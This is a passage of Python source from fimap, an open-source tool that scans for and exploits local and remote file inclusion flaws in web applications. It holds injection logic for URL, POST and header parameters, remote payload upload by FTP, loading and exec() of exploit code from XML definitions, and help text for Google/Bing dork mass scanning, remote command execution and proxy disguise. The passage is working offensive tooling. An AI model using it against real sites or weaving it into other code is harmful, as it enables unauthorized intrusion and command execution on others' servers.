in abs_files: post = fileobj.getPostData() p = fileobj.getFindStr() f = fileobj.getFilepath() type = fileobj.getFlags() canbreak = fileobj.isBreakable() quiz = answer = None if (post != None): quiz, answer = langClass.generateQuiz() post = post.replace("__QUIZ__", quiz) p = p.replace("__ANSWER__", answer) if (rep.getPrefix() == "" and(rep.getSurfix() == "" or rep.isSuffixBreakable() or f.endswith(rep.getSurfix()) or canbreak)): if canbreak: #SUPERDUPER URL HAX! rep.setSurfix("&") if (rep.isUnix() and fileobj.isUnix() or rep.isWindows() and fileobj.isWindows()): if (self.readFile(rep, f, p, True, POST=post)): ret.append(f) self.addXMLLog(rep, type, f) else: pass else: self._log("Skipping absolute file '%s' because it's not suitable for our OS."%f, self.LOG_DEBUG) else: self._log("Skipping absolute file '%s'."%f, self.LOG_INFO) self._log("Testing log files...", self.LOG_DEBUG) for fileobj in log_files: post = fileobj.getPostData() p = fileobj.getFindStr() f = fileobj.getFilepath() type = fileobj.getFlags() if ((rep.getSurfix() == "" or rep.isSuffixBreakable() or f.endswith(rep.getSurfix()))): if (rep.isUnix() and fileobj.isUnix() or rep.isWindows() and fileobj.isWindows()): if (self.readFile(rep, f, p)): ret.append(f) self.addXMLLog(rep, type, f) else: pass else: self._log("Skipping log file '%s' because it's not suitable for our OS."%f, self.LOG_DEBUG) else: self._log("Skipping log file '%s'."%f, self.LOG_INFO) if (rfi_mode in ("ftp", "local")): if (rfi_mode == "ftp"): self._log("Testing remote inclusion dynamicly with FTP...", self.LOG_INFO) if (rfi_mode == "local"): self._log("Testing remote inclusion dynamicly with local server...", self.LOG_INFO) if (rep.getPrefix() == ""): fl = up = None quiz, answer = langClass.generateQuiz() if (rfi_mode == "ftp"): fl = settings["dynamic_rfi"]["ftp"]["ftp_path"] + rep.getAppendix() up = self.FTPuploadFile(quiz, rep.getSurfix()) # Discard the suffix if there is a forced directory structure. if (up["http"].endswith(rep.getAppendix())): rep.setSurfix("") up["http"] = up["http"][:len(up["http"]) - len(rep.getAppendix())] elif(rfi_mode == "local"): up = self.putLocalPayload(quiz, rep.getAppendix()) if (not up["http"].endswith(rep.getAppendix())): rep.setSurfix("") if (self.readFile(rep, up["http"], answer, True)): ret.append(up["http"]) rep.setRemoteInjectable(True) self.addXMLLog(rep, "rxR", up["http"]) if (rfi_mode == "ftp"): if up["dirstruct"]: self.FTPdeleteDirectory(up["ftp"]) else: self.FTPdeleteFile(up["ftp"]) if (rfi_mode == "local"): self.deleteLocalPayload(up["local"]) else: self._log("Testing remote inclusion...", self.LOG_DEBUG) for fileobj in rmt_files: post = fileobj.getPostData() p = fileobj.getFindStr() f = fileobj.getFilepath() type = fileobj.getFlags() canbreak = fileobj.isBreakable() if (rep.getPrefix() == "" and(rep.getSurfix() == "" or rep.isSuffixBreakable() or f.endswith(rep.getSurfix()) or canbreak)): if ((not rep.isSuffixBreakable() and not rep.getSurfix() == "") and f.endswith(rep.getSurfix())): f = f[:-len(rep.getSurfix())] rep.setSurfix("") elif (canbreak): #SUPERDUPER URL HAX! rep.setSurfix("&") if (rep.isUnix() and fileobj.isUnix() or rep.isWindows() and fileobj.isWindows()): if (self.readFile(rep, f, p, True)): ret.append(f) rep.setRemoteInjectable(True) self.addXMLLog(rep, type, f) else: pass else: self._log("Skipping remote file '%s' because it's not suitable for our OS."%f, self.LOG_DEBUG) else: self._log("Skipping remote file '%s'."%f, self.LOG_INFO) self.saveXML() return(ret) def readFile(self, report, filepath, filepattern, isAbs=False, POST=None, HEADER=None): self._log("Testing file '%s'..." %filepath, self.LOG_INFO) xml2config = self.config["XML2CONFIG"] langClass = xml2config.getAllLangSets()[report.getLanguage()] tmpurl = report.getURL() prefix = report.getPrefix() surfix = report.getSurfix() vuln = report.getVulnKey() params = report.getParams() isunix = report.isUnix() scriptpath = report.getServerPath() postdata = report.getPostData() header = deepcopy(report.getHeader()) vulnHeader = report.getVulnHeader() haxMode = report.isPost filepatha = "" if (prefix != None and prefix != "" and prefix[-1] == "/"): prefix = prefix[:-1] report.setPrefix(prefix) if (filepath[0] == "/"): filepatha = prefix + filepath if (report.isWindows() and len(prefix.strip()) > 0 and not isAbs): filepatha = prefix + filepath[3:] elif len(prefix.strip()) > 0 and not isAbs: filepatha = prefix + "/" + filepath else: filepatha = filepath if (scriptpath[-1] != "/" and filepatha[0] != "/" and not isAbs and report.isUnix()): filepatha = "/" + filepatha payload = "%s%s"%(filepatha, surfix) if (payload.endswith(report.getAppendix())): payload = payload[:len(payload) - len(report.getAppendix())] if (haxMode == 0): tmpurl = tmpurl.replace("%s=%s" %(vuln, params[vuln]), "%s=%s"%(vuln, payload)) elif (haxMode == 1): postdata = postdata.replace("%s=%s" %(vuln, params[vuln]), "%s=%s"%(vuln, payload)) elif (haxMode == 2): tmphead = header[vulnHeader] tmphead = tmphead.replace("%s=%s"%(vuln, self.header[vulnHeader][vuln]), "%s=%s"%(vuln, payload)) header[vulnHeader] = tmphead self._log("Testing URL: " + tmpurl, self.LOG_DEBUG) RE_SUCCESS_MSG = re.compile(langClass.getSniper()%(filepath), re.DOTALL) code = None if (POST != None and POST != "" or postdata != None and postdata != ""): if (postdata != None): if (POST == None): POST = postdata else: POST = "%s&%s"%(postdata, POST) code = self.doPostRequest(tmpurl, POST, additionalHeaders = header) else: code = self.doGetRequest(tmpurl, additionalHeaders = header) if (code == None): return(False) m = RE_SUCCESS_MSG.search(code) if (m == None): if (filepattern == None or code.find(filepattern) != -1): #self._writeToLog("VULN;%s;%s;%s;%s"%(tmpurl, vuln, payload, filepath)) return(True) def __addToken(self, arr, token): if (token.find("=") == -1): arr[token] = "" self._log("Token found: [%s] = none" %(token), self.LOG_DEBUG) else: k = token.split("=")[0] v = token.split("=")[1] arr[k] = v self._log("Token found: [%s] = [%s]" %(k,v), self.LOG_DEBUG)
Python
# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # import xml.dom.minidom import base64 import sys, os from baseClass import baseClass from baseTools import baseTools import random def getXMLNode(item, nodename): for child in item.childNodes: if (child.nodeName != "#text"): if (child.nodeName == nodename): return(child) return(None) def getXMLNodes(item, nodename): ret = [] for child in item.childNodes: if (child.nodeName != "#text"): if (child.nodeName == nodename): ret.append(child) return(ret) def getText(nodelist): rc = "" for node in nodelist: if node.nodeType == node.TEXT_NODE: rc = rc + node.data return rc def convertString(txt, isBase64): ret = None if isBase64: ret = base64.b64decode(txt) else: ret = str(txt) return(ret) class XML2Config(baseClass): def _load(self): self.langsets = {} self.xml_file = os.path.join(sys.path[0], "config", "generic.xml") self.XML_Generic = None self.XML_Rootitem = None self.version = -1 self.relative_files = [] self.absolute_files = [] self.remote_files = [] self.log_files = [] self.blind_files = [] self.blind_min = 0 self.blind_max = 0 self.commandConcat_unix = None self.shellquiz_code_unix = None self.kernelversion_code_unix = None self.currentdir_code_unix = None self.currentuser_code_unix = None self.cd_code_unix = None self.commandConcat_win = None self.shellquiz_code_win = None self.kernelversion_code_win = None self.currentdir_code_win = None self.currentuser_code_win = None self.cd_code_win = None self.__init_xmlresult() #sys.exit(0) def __init_xmlresult(self): xmlfile = self.xml_file if (os.path.exists(xmlfile)): self.XML_Generic = xml.dom.minidom.parse(xmlfile) self.XML_Rootitem = self.XML_Generic.firstChild self.version = int(self.XML_Rootitem.getAttribute("revision")) rel_node = getXMLNode(self.XML_Rootitem, "relative_files") rel_files = getXMLNodes(rel_node, "file") for f in rel_files: self.relative_files.append(fiFile(f, self.config)) abs_node = getXMLNode(self.XML_Rootitem, "absolute_files") abs_files = getXMLNodes(abs_node, "file") for f in abs_files: self.absolute_files.append(fiFile(f, self.config)) rem_node = getXMLNode(self.XML_Rootitem, "remote_files") rem_files = getXMLNodes(rem_node, "file") for f in rem_files: self.remote_files.append(fiFile(f, self.config)) log_node = getXMLNode(self.XML_Rootitem, "log_files") log_files = getXMLNodes(log_node, "file") for f in log_files: self.log_files.append(fiFile(f, self.config)) blind_node = getXMLNode(self.XML_Rootitem, "blind_files") mindepth = blind_node.getAttribute("mindepth") maxdepth = blind_node.getAttribute("maxdepth") try: mindepth = int(mindepth) maxdepth = int(maxdepth) except: print "Mindepth and Maxdepth for blindmode have non-integer values!" print "Fix it in the generic.xml!" print "Committing suicide..." sys.exit(1) if (mindepth > maxdepth): print "Logic isn't your best friend eh?" print "The mindepth value is greater than the maxdepth value!" print "Fix that in the generic.xml!" print "Committing suicide..." sys.exit(1) self._log("Mindepth (%d) and Maxdepth (%d) loaded from generic.xml."%(mindepth, maxdepth), self.LOG_DEBUG) self.blind_min = mindepth self.blind_max = maxdepth blind_files = getXMLNodes(blind_node, "file") for f in blind_files: self.blind_files.append(fiFile(f, self.config)) methods_node = getXMLNode(self.XML_Rootitem, "methods") unix_node = getXMLNode(methods_node, "unix") self.commandConcat_unix = str(unix_node.getAttribute("concatcommand")) quiz_node = getXMLNode(unix_node, "shellquiz") self.shellquiz_code_unix = base64.b64decode(quiz_node.getAttribute("source")) kernel_node = getXMLNode(unix_node, "kernelversion") self.kernelversion_code_unix = str(kernel_node.getAttribute("source")) curdir_node = getXMLNode(unix_node, "currentdir") self.currentdir_code_unix = str(curdir_node.getAttribute("source")) curusr_node = getXMLNode(unix_node, "currentuser") self.currentuser_code_unix = str(curusr_node.getAttribute("source")) cd_node = getXMLNode(unix_node, "cd") self.cd_code_unix = str(cd_node.getAttribute("source")) win_node = getXMLNode(methods_node, "windows") self.commandConcat_win = str(win_node.getAttribute("concatcommand")) quiz_node = getXMLNode(win_node, "shellquiz") self.shellquiz_code_win = base64.b64decode(quiz_node.getAttribute("source")) kernel_node = getXMLNode(win_node, "kernelversion") self.kernelversion_code_win = str(kernel_node.getAttribute("source")) curdir_node = getXMLNode(win_node, "currentdir") self.currentdir_code_win = str(curdir_node.getAttribute("source")) curusr_node = getXMLNode(win_node, "currentuser") self.currentuser_code_win = str(curusr_node.getAttribute("source")) cd_node = getXMLNode(win_node, "cd") self.cd_code_win = str(cd_node.getAttribute("source")) self.__loadLanguageSets() else: print "generic.xml file not found! This file is very important!" sys.exit(1) def getRealFile(self): return(self.xml_file) def __loadLanguageSets(self): langnodes = getXMLNode(self.XML_Rootitem, "languagesets") for c in langnodes.childNodes: if (c.nodeName == "language"): langname = str(c.getAttribute("name")) langfile = str(c.getAttribute("langfile")) langClass = baseLanguage(langname, langfile, self.config) self.langsets[langname] = langClass self._log("Loaded XML-LD for '%s' at revision %d by %s" %(langname, langClass.getRevision(), langClass.getAutor()), self.LOG_DEBUG) def getVersion(self): return(self.version) def generateShellQuiz(self, isUnix=True): ret = None if (isUnix): exec(self.shellquiz_code_unix) else: exec(self.shellquiz_code_win) return(ret) def getAllLangSets(self): return(self.langsets) def getAllReadfileRegex(self): ret = [] langs = self.getAllLangSets() for k,v in langs.items(): readfile_regex = v.getReadfileDetectors() for reg in readfile_regex: ret.append((k, reg)) return(ret) def getAllSniperRegex(self): ret = [] langs = self.getAllLangSets() for k,v in langs.items(): readfile_regex = v.getSniper() ret.append((k, readfile_regex)) return(ret) def getKernelCode(self, isUnix=True): if (isUnix): return(self.kernelversion_code_unix) else: return(self.kernelversion_code_win) def getRelativeFiles(self, lang=None): ret = [] for f in self.relative_files: ret.append(f) if (lang != None): for f in self.langsets[lang].getRelativeFiles(): ret.append(f) return(ret) def getAbsoluteFiles(self, lang=None): ret = [] for f in self.absolute_files: ret.append(f) if (lang != None): for f in self.langsets[lang].getAbsoluteFiles(): ret.append(f) return(ret) def getLogFiles(self, lang=None): ret = [] for f in self.log_files: ret.append(f) if (lang != None): for f in self.langsets[lang].getLogFiles(): ret.append(f) return(ret) def getRemoteFiles(self, lang=None): ret = [] for f in self.remote_files: ret.append(f) if (lang != None): for f in self.langsets[lang].getRemoteFiles(): ret.append(f) return(ret) def getBlindFiles(self): ret = [] for f in self.blind_files: ret.append(f) return(ret) def getBlindMax(self): return(self.blind_max) def getBlindMin(self): return(self.blind_min) def getCurrentDirCode(self, isUnix=True): if (isUnix): return(self.currentdir_code_unix) else: return(self.currentdir_code_win) def getCurrentUserCode(self, isUnix=True): if (isUnix): return(self.currentuser_code_unix) else: return(self.currentuser_code_win) def getConcatSymbol(self, isUnix=True): if (isUnix): return(self.commandConcat_unix) else: return(self.commandConcat_win) def concatCommands(self, commands, isUnix=True): symbol = " %s " %(self.getConcatSymbol(isUnix)) return(symbol.join(commands)) def generateChangeDirectoryCommand(self, Directory, isUnix=True): code = self.cd_code_unix if (not isUnix): code = self.cd_code_win code = code.replace("__DIR__", Directory) return(code) class baseLanguage(baseTools): def __init__(self, langname, langfile, config): self.initLog(config) langfile = os.path.join(sys.path[0], "config", langfile) self.RealFile = langfile self.XML_Langfile = None self.XML_Rootitem = None if (os.path.exists(langfile)): self.XML_Langfile = xml.dom.minidom.parse(langfile) self.XML_Rootitem = self.XML_Langfile.firstChild else: print "%s file not found!" %(langfile) sys.exit(1) self.LanguageName = langname self.XMLRevision = None self.XMLAutor = None self.relative_files = [] self.absolute_files = [] self.remote_files = [] self.log_files = [] self.exec_methods = [] self.payloads = [] self.sniper_regex = None self.quiz_function = None self.print_function = None self.eval_kickstarter = None self.write_file = None self.detector_include = [] self.detector_readfile = [] self.detector_extentions = [] self.do_force_inclusion_test = False self.__populate() def getLangFile(self): return(self.RealFile) def getName(self): return(self.LanguageName) def getVersion(self): return(self.XMLRevision) def getRevision(self): return(self.XMLRevision) def getAutor(self): return(self.XMLAutor) def getSniper(self): return(self.sniper_regex) def doForceInclusionTest(self): return(self.do_force_inclusion_test) def getExecMethods(self): return(self.exec_methods) def getPayloads(self): return(self.payloads) def getRelativeFiles(self): return(self.relative_files) def getAbsoluteFiles(self): return(self.absolute_files) def getRemoteFiles(self): return(self.remote_files) def getLogFiles(self): return(self.log_files) def getIncludeDetectors(self): return(self.detector_include) def getReadfileDetectors(self): return(self.detector_readfile) def getExtentions(self): return(self.detector_extentions) def getQuizSource(self): return(self.quiz_function) def generateWriteFileCode(self, remotefilepath, mode, b64data): code = self.write_file code = code.replace("__FILE__", remotefilepath) code = code.replace("__MODE__", mode) code = code.replace("__B64_DATA__", b64data) return(code) def generateQuiz(self): ret = None try: exec(self.quiz_function) except: boxarr = [] boxheader = "[!!!] BAAAAAAAAAAAAAAAANG - Welcome back to reality [!!!]" boxarr.append("The quiz function defined in one of the XML-Language-Definition files") boxarr.append("just failed! If you are coding your own XML then fix that!") boxarr.append("If not please report this bug at http://fimap.googlecode.com (!) Thanks!") self.drawBox(boxheader, boxarr) raise return(ret) def generatePrint(self, data): ret = self.print_function.replace("__PLACEHOLDER__", data) return(ret) def getEvalKickstarter(self): return(self.eval_kickstarter) def __populate(self): self.XMLRevision = int(self.XML_Rootitem.getAttribute("revision")) self.XMLAutor = self.XML_Rootitem.getAttribute("autor") self.do_force_inclusion_test = self.XML_Rootitem.getAttribute("force_inclusion_test") == "1" rel_node = getXMLNode(self.XML_Rootitem, "relative_files") rel_files = getXMLNodes(rel_node, "file") for f in rel_files: self.relative_files.append(fiFile(f, self.config)) abs_node = getXMLNode(self.XML_Rootitem, "absolute_files") abs_files = getXMLNodes(abs_node, "file") for f in abs_files: self.absolute_files.append(fiFile(f, self.config)) rem_node = getXMLNode(self.XML_Rootitem, "remote_files") rem_files = getXMLNodes(rem_node, "file") for f in rem_files: self.remote_files.append(fiFile(f, self.config)) log_node = getXMLNode(self.XML_Rootitem, "log_files") log_files = getXMLNodes(log_node, "file") for f in log_files: self.log_files.append(fiFile(f, self.config)) exec_methods = getXMLNode(self.XML_Rootitem, "exec_methods") exec_nodes = getXMLNodes(exec_methods, "exec") for f in exec_nodes: self.exec_methods.append(fiExecMethod(f, self.config)) if (len(self.exec_methods) == 0): self._log("XML-LD has no exec-method(s) defined!", self.LOG_ERROR) self._log(" This XML-LD can't be used to go into exploit mode!", self.LOG_ERROR) payloads = getXMLNode(self.XML_Rootitem, "payloads") payload_nodes = getXMLNodes(payloads, "payload") for f in payload_nodes: self.payloads.append(fiPayload(f, self.config, self.getName())) if (len(self.payloads) == 0): self._log("XML-LD has no payload(s) defined!", self.LOG_DEBUG) self.sniper_regex = str(getXMLNode(self.XML_Rootitem, "snipe").getAttribute("regex")) if (self.sniper_regex == None or self.sniper_regex.strip() == ""): self._log("XML-LD has no sniper regex! So this XML-LD can only be used in blind-mode!", self.LOG_WARN) methods_node = getXMLNode(self.XML_Rootitem, "methods") quiz_node = getXMLNode(methods_node, "quiz") if (quiz_node == None): self._log("FATAL! XML-Language-Definition (%s) has no quiz function defined!"%(self.getName()), self.LOG_ERROR) self._log("Please fix that in order to run fimap without problems!", self.LOG_ERROR) self._log("Committing suicide :-O", self.LOG_ERROR) sys.exit(1) else: isbase64 = quiz_node.getAttribute("isbase64")=="1" quiz_code = quiz_node.getAttribute("source") quiz_code = convertString(quiz_code, isbase64) if (quiz_code == None or quiz_code.strip() == ""): self._log("FATAL! XML-Language-Definition (%s) has no quiz function defined!"%(self.getName()), self.LOG_ERROR) self._log("Please fix that in order to run fimap without problems!", self.LOG_ERROR) self._log("Committing suicide :-O", self.LOG_ERROR) sys.exit(1) self.quiz_function = str(quiz_code) print_node = getXMLNode(methods_node, "print") if (print_node == None): self._log("FATAL! XML-Language-Definition (%s) has no print function defined!"%(self.getName()), self.LOG_ERROR) self._log("Please fix that in order to run fimap without problems!", self.LOG_ERROR) self._log("Committing suicide :-O", self.LOG_ERROR) sys.exit(1) else: isbase64 = print_node.getAttribute("isbase64")=="1" print_code = print_node.getAttribute("source") print_code = convertString(print_code, isbase64) if (print_code == None or print_code.strip() == ""): self._log("FATAL! XML-Language-Definition (%s) has no print function defined!"%(self.getName()), self.LOG_ERROR) self._log("Please fix that in order to run fimap without problems!", self.LOG_ERROR) self._log("Committing suicide :-O", self.LOG_ERROR) sys.exit(1) self.print_function = str(print_code) eval_node = getXMLNode(methods_node, "eval_kickstarter") if (eval_node == None): self._log("XML-LD (%s) has no eval_kickstarter method defined."%(self.getName()), self.LOG_DEBUG) self._log("Language will not be able to use logfile-injection.", self.LOG_DEBUG) else: isbase64 = eval_node.getAttribute("isbase64")=="1" eval_code = eval_node.getAttribute("source") eval_code = convertString(eval_code, isbase64) if (eval_code == None or eval_code.strip() == ""): self._log("XML-LD (%s) has no eval_kickstarter method defined."%(self.getName()), self.LOG_DEBUG) self._log("Language will not be able to use logfile-injection."%(self.getName()), self.LOG_DEBUG) self.eval_kickstarter = str(eval_code) write_node = getXMLNode(methods_node, "write_file") if (write_node == None): self._log("XML-LD (%s) has no write_file method defined."%(self.getName()), self.LOG_DEBUG) self._log("Language will not be able to write files.", self.LOG_DEBUG) else: isbase64 = write_node.getAttribute("isbase64")=="1" write_code = write_node.getAttribute("source") write_code = convertString(write_code, isbase64) if (write_code == None or write_code.strip() == ""): self._log("XML-LD (%s) has no eval_kickstarter method defined."%(self.getName()), self.LOG_DEBUG) self._log("Language will not be able to use logfile-injection."%(self.getName()), self.LOG_DEBUG) self.write_file = str(write_code) detectors_node = getXMLNode(self.XML_Rootitem, "detectors") include_patterns = getXMLNode(detectors_node, "include_patterns") pattern_nodes = getXMLNodes(include_patterns, "pattern") for f in pattern_nodes: self.detector_include.append(str(f.getAttribute("regex"))) if (len(self.detector_include) == 0): self._log("XML-LD has no include patterns defined!", self.LOG_WARN) self._log(" Only blindmode will work because they are used to retrieve informations out of the error message!", self.LOG_DEBUG) readfile_patterns = getXMLNode(detectors_node, "readfile_patterns") pattern_nodes = getXMLNodes(readfile_patterns, "pattern") for f in pattern_nodes: self.detector_readfile.append(str(f.getAttribute("regex"))) if (len(self.detector_readfile) == 0): self._log("XML-LD has no readfile patterns defined!", self.LOG_DEBUG) self._log(" No readfile bugs can be scanned if this is not defined.", self.LOG_DEBUG) extentions = getXMLNode(detectors_node, "extentions") extention_nodes = getXMLNodes(extentions, "extention") for f in extention_nodes: self.detector_extentions.append(str(f.getAttribute("ext"))) if (len(self.detector_readfile) == 0): self._log("XML-LD has no extentions defined!", self.LOG_DEBUG) class fiPayload(baseTools): def __init__(self, xmlPayload, config, ParentName): self.initLog(config) self.name = xmlPayload.getAttribute("name") self.doBase64 = (xmlPayload.getAttribute("dobase64") == "1") self.inshell = (xmlPayload.getAttribute("inshell") == "1") self.unix = (xmlPayload.getAttribute("unix") == "1") self.win = (xmlPayload.getAttribute("win") == "1") self.inputlist = getXMLNodes(xmlPayload, "input") self.source = str(getXMLNode(xmlPayload, "code").getAttribute("source")) self.ParentName = ParentName self._log("fimap PayloadObject loaded: %s" %(self.name), self.LOG_DEVEL) def isForWindows(self): return(self.win) def isForUnix(self): return(self.unix) def getParentName(self): return(self.ParentName) def doInShell(self): return(self.inshell) def getName(self): return(self.name) def getSource(self): return(self.source) def generatePayload(self): ret = self.source for q in self.inputlist: type_ = q.getAttribute("type") if (type_ == "question"): question = q.getAttribute("text") placeholder = q.getAttribute("placeholder") inp = raw_input(question) if (self.doBase64): inp = base64.b64encode(inp) ret = ret.replace(placeholder, inp) elif (type_ == "info"): info = q.getAttribute("text") print info elif (type_ == "wait"): info = q.getAttribute("text") raw_input(info) return(ret) class fiExecMethod(baseTools): def __init__(self, xmlExecMethod, config): self.initLog(config) self.execname = xmlExecMethod.getAttribute("name") self.execsource = xmlExecMethod.getAttribute("source") self.dobase64 = xmlExecMethod.getAttribute("dobase64")=="1" self.isunix = xmlExecMethod.getAttribute("unix")=="1" self.iswin = xmlExecMethod.getAttribute("win")=="1" self._log("fimap ExecObject loaded: %s" %(self.execname), self.LOG_DEVEL) def getSource(self): return(self.execsource) def getName(self): return(self.execname) def generatePayload(self, command): if (self.dobase64): command = base64.b64encode(command) payload = self.getSource().replace("__PAYLOAD__", command) return(payload) def isUnix(self): return(self.isunix) def isWindows(self): return(self.iswin) class fiFile(baseTools): def __init__(self, xmlFile, config): self.initLog(config) self.filepath = str(xmlFile.getAttribute("path")) self.postdata = str(xmlFile.getAttribute("post")) self.findstr = str(xmlFile.getAttribute("find")) self.flags = str(xmlFile.getAttribute("flags")) self.isunix = str(xmlFile.getAttribute("unix")) == "1" self.iswin = str(xmlFile.getAttribute("windows")) == "1" self._log("fimap FileObject loaded: %s" %(self.filepath), self.LOG_DEVEL) def getFilepath(self): return(self.filepath) def getPostData(self): return(self.postdata) def getFindStr(self): return(self.findstr) def getFlags(self): return(self.flags) def containsFlag(self, flag): return (flag in self.flags) def isInjected(self, content): return (content.find(self.findstr) != -1) def isUnix(self): return(self.isunix) def isBreakable(self): return(self.filepath.find("://") == -1) def isWindows(self): return(self.iswin) def getBackSymbols(self, SeperatorAtFront=True): if (SeperatorAtFront): if (self.isUnix()): return("/..") else: return("\\..") else: if (self.isUnix()): return("../") else: return("..\\") def getBackSymbol(self): if (self.isUnix()): return("/") else: return("\\")
Python
#!/usr/bin/python # # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # from plugininterface import plugininterface from plugininterface import pluginXMLInfo import autoawesome import baseClass, baseTools from codeinjector import codeinjector from crawler import crawler import getopt from googleScan import googleScan from bingScan import bingScan from massScan import massScan from singleScan import singleScan import language import sys,os import tarfile, tempfile import shutil __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$30.08.2009 19:57:21$" __version__ = "1.00_svn (My life for Aiur)" config = {} head = "fimap v.%s\n"%__version__ head += ":: Automatic LFI/RFI scanner and exploiter\n" head += ":: by Iman Karim (fimap.dev@gmail.com)\n" pluginlist = "http://fimap.googlecode.com/svn/wiki/PluginList.wiki" defupdateurl = "http://fimap.googlecode.com/svn/trunk/src/config/" def show_help(AndQuit=False): print "Usage: ./fimap.py [options]" print "## Operating Modes:" print " -s , --single Mode to scan a single URL for FI errors." print " Needs URL (-u). This mode is the default." print " -m , --mass Mode for mass scanning. Will check every URL" print " from a given list (-l) for FI errors." print " -g , --google Mode to use Google to aquire URLs." print " Needs a query (-q) as google search query." print " -B , --bing Use bing to get URLs." print " Needs a query (-q) as bing search query." print " Also needs a Bing APIKey (--bingkey)" print " -H , --harvest Mode to harvest a URL recursivly for new URLs." print " Needs a root url (-u) to start crawling there." print " Also needs (-w) to write a URL list for mass mode." print " -4 , --autoawesome With the AutoAwesome mode fimap will fetch all" print " forms and headers found on the site you defined" print " and tries to find file inclusion bugs thru them. Needs an" print " URL (-u)." print "## Techniques:" print " -b , --enable-blind Enables blind FI-Bug testing when no error messages are printed." print " Note that this mode will cause lots of requests compared to the" print " default method. Can be used with -s, -m or -g." print " -D , --dot-truncation Enables dot truncation technique to get rid of the suffix if" print " the default mode (nullbyte poison) failed. This mode can cause" print " tons of requests depending how you configure it." print " By default this mode only tests windows servers." print " Can be used with -s, -m or -g. Experimental." print " -M , --multiply-term=X Multiply terminal symbols like '.' and '/' in the path by X." print "## Variables:" print " -u , --url=URL The URL you want to test." print " Needed in single mode (-s)." print " -l , --list=LIST The URL-LIST you want to test." print " Needed in mass mode (-m)." print " -q , --query=QUERY The Google Search QUERY." print " Example: 'inurl:include.php'" print " Needed in Google Mode (-g)" print " --bingkey=APIKEY This is your the Bing APIKey. You have to set this when you" print " want to use the BingScanner (-B)." print " --skip-pages=X Skip the first X pages from the Googlescanner." print " -p , --pages=COUNT Define the COUNT of pages to search (-g)." print " Default is 10." print " --results=COUNT The count of results the Googlescanner should get per page." print " Possible values: 10, 25, 50 or 100(default)." print " --googlesleep=TIME The time in seconds the Googlescanner should wait befor each" print " request to google. fimap will count the time between two requests" print " and will sleep if it's needed to reach your cooldown. Default is 5." print " -w , --write=LIST The LIST which will be written if you have choosen" print " harvest mode (-H). This file will be opened in APPEND mode." print " -d , --depth=CRAWLDEPTH The CRAWLDEPTH (recurse level) you want to crawl your target site" print " in harvest mode (-H). Default is 1." print " -P , --post=POSTDATA The POSTDATA you want to send. All variables inside" print " will also be scanned for file inclusion bugs." print " --cookie=COOKIES Define the cookie which should be send with each request." print " Also the cookies will be scanned for file inclusion bugs." print " Concatenate multiple cookies with the ';' character." print " --ttl=SECONDS Define the TTL (in seconds) for requests. Default is 30 seconds." print " --no-auto-detect Use this switch if you don't want to let fimap automaticly detect" print " the target language in blind-mode. In that case you will get some" print " options you can choose if fimap isn't sure which lang it is." print " --bmin=BLIND_MIN Define here the minimum count of directories fimap should walk thru" print " in blind mode. The default number is defined in the generic.xml" print " --bmax=BLIND_MAX Define here the maximum count of directories fimap should walk thru." print " --dot-trunc-min=700 The count of dots to begin with in dot-truncation mode." print " --dot-trunc-max=2000 The count of dots to end with in dot-truncation mode." print " --dot-trunc-step=50 The step size for each round in dot-truncation mode." print " --dot-trunc-ratio=0.095 The maximum ratio to detect if dot truncation was successfull." print " --dot-trunc-also-unix Use this if dot-truncation should also be tested on unix servers." print " --force-os=OS Forces fimap to test only files for the OS." print " OS can be 'linux' or 'windows'" print "## Attack Kit:" print " -x , --exploit Starts an interactive session where you can" print " select a target and do some action." print " -X Same as -x but also shows not exploitable which might can be" print " hax0red with plugins." print " -T , --tab-complete Enables TAB-Completation in exploit mode. Needs readline module." print " Use this if you want to be able to tab-complete thru remote" print " files\dirs. Eats an extra request for every 'cd' command." print " --x-host=HOSTNAME The host to use exploits on. fimap won't prompt you for the domain" print " in exploit mode if you set this value." print " --x-vuln=VULNNUMBER The vulnerability ID you want to use. It's the same number you type" print " into the exploit mode where you choose the vulnerable script." print " --x-cmd=CMD The CMD you want to execute on the vulnerable system. Use this parameter" print " more than once to execute commands one after another." print " Remember that each command opens a new shell and closes it after execution." print "## Disguise Kit:" print " -A , --user-agent=UA The User-Agent which should be sent." print " --http-proxy=PROXY Setup your proxy with this option. But read this facts:" print " * The googlescanner will ignore the proxy to get the URLs," print " but the pentest\\attack itself will go thru proxy." print " * PROXY should be in format like this: 127.0.0.1:8080" print " * It's experimental" print " --show-my-ip Shows your internet IP, current country and user-agent." print " Useful if you want to test your vpn\\proxy config." print "## Plugins:" print " --plugins List all loaded plugins and quit after that." print " -I , --install-plugins Shows some official exploit-mode plugins you can install " print " and\\or upgrade." print "## Other:" print " --update-def Checks and updates your definition files found in the" print " config directory." print " --test-rfi A quick test to see if you have configured RFI nicely." print " --merge-xml=XMLFILE Use this if you have another fimap XMLFILE you want to" print " include to your own fimap_result.xml." print " -C , --enable-color Enables a colorful output. Works only in linux!" print " --force-run Ignore the instance check and just run fimap even if a lockfile" print " exists. WARNING: This may erase your fimap_results.xml file!" print " -v , --verbose=LEVEL Verbose level you want to receive." print " LEVEL=3 -> Debug" print " LEVEL=2 -> Info(Default)" print " LEVEL=1 -> Messages" print " LEVEL=0 -> High-Level" print " --credits Shows some credits." print " --greetings Some greetings ;)" print " -h , --help Shows this cruft." print "## Examples:" print " 1. Scan a single URL for FI errors:" print " ./fimap.py -u 'http://localhost/test.php?file=bang&id=23'" print " 2. Scan a list of URLS for FI errors:" print " ./fimap.py -m -l '/tmp/urllist.txt'" print " 